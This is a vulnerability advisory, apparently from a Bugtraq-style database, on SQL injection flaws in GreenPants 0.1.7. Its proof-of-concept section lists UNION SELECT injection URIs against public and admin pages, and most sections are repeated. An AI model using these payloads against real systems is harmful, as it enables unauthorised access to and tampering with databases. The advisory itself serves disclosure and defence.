GreenPants Multiple SQL Injection Vulnerabilities
BID:47222
Info
GreenPants Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 47222 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 06 2011 12:00AM |
| Updated: | Apr 06 2011 12:00AM |
| Credit: | Ptrace Security |
| Vulnerable: |
GreenPants GreenPants 0.1.7 |
| Not Vulnerable: | |
Discussion
GreenPants Multiple SQL Injection Vulnerabilities
GreenPants is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
GreenPants 0.1.7 is vulnerable; other versions may also be affected.
GreenPants is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
GreenPants 0.1.7 is vulnerable; other versions may also be affected.
Exploit / POC
GreenPants Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/greenpants/index.php?id=-99 UNION SELECT VERSION()
http://www.example.comgreenpants/index.php?s=4X0r' UNION SELECT NULL,VERSION(),NULL,NULL,NULL,NULL -- '
http://www.example.com/greenpants/index.php?id=-99 UNION SELECT NULL,VERSION(),NULL,NULL,NULL,NULL
http://www.example.com/greenpants/admin/index.php?do=editcat&i=-99 UNION SELECT NULL,VERSION(),NULL
http://www.example.com/greenpants/admin/index.php?do=editemot&i=-99 UNION SELECT NULL,VERSION(),NULL,NULL
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/greenpants/index.php?id=-99 UNION SELECT VERSION()
http://www.example.comgreenpants/index.php?s=4X0r' UNION SELECT NULL,VERSION(),NULL,NULL,NULL,NULL -- '
http://www.example.com/greenpants/index.php?id=-99 UNION SELECT NULL,VERSION(),NULL,NULL,NULL,NULL
http://www.example.com/greenpants/admin/index.php?do=editcat&i=-99 UNION SELECT NULL,VERSION(),NULL
http://www.example.com/greenpants/admin/index.php?do=editemot&i=-99 UNION SELECT NULL,VERSION(),NULL,NULL
Solution / Fix
GreenPants Multiple SQL Injection Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
GreenPants Multiple SQL Injection Vulnerabilities
References:
References:
- GreenPants Sourceforge Page (GreenPants)